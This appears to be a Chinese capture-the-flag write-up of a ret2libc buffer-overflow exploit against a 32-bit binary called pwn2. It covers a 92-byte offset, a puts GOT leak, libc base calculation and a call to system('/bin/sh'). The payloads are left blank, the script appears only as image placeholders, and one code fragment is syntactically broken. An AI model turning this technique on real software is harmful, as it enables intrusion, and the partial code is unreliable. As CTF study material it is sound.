题目:给出PWN2文件和libc
查看:
文件类型及其保护方法在这里插入图片描述
找system和bin_sh都么有在这里插入图片描述
在这里插入图片描述
所以只能利用libc文件
理论
思路
由于libc的延迟绑定机制,需要选择已经==执行过的函数==作为泄漏函数,这里我们选择put()//输出一句话
计算偏移量=92
但是在gdb里得出offset=91,这是错的。在这里插入图片描述
在ida中查看main函数的汇编代码的一部分,开辟了58h个空间,加上esp的4个一共5C个,也就是十进制92,与上面得出错误的相差1。不知道为什么。。在这里插入图片描述
构造payload1:==目的:== 得到puts的地址:puts_addr
1 | payload= |
==填充满偏移量的长度== =92=5C h ,下同。
==p32(main)== 在ida中查看=0x08048519在这里插入图片描述
==p32(puts_plt):==puts_plt=elf.plt['puts']
==p32(puts_got):==
puts_got=elf.got['puts']
//这里elf的用法因为:elf=ELF('./pwn2')
==puts_addr:==puts_addr=u32(p.recv([0:4]))
打印地址用到的代码是print "puts_addr:"+hex(puts_addr)
,下同。
构造payload2 ==目的:== 由puts的地址推导出system和’/bin/sh’的地址
1 | payload= |
==p32(system):==
1 | puts_libc=libc.symbols['puts'] |
==p32(bin_sh):==
1 | bin_sh_addr=libc_base+next(libc.search('/bin/sh')) ///至此得到了p32(bin_sh_addr) |
//这里libc的用法因为:libc=ELF('libc.so.6')
脚本
在这里插入图片描述
脚本是正确的,但是python 脚本.py之后报错:是最后一句interactive的问题,在别人电脑上就又没有这个问题。。。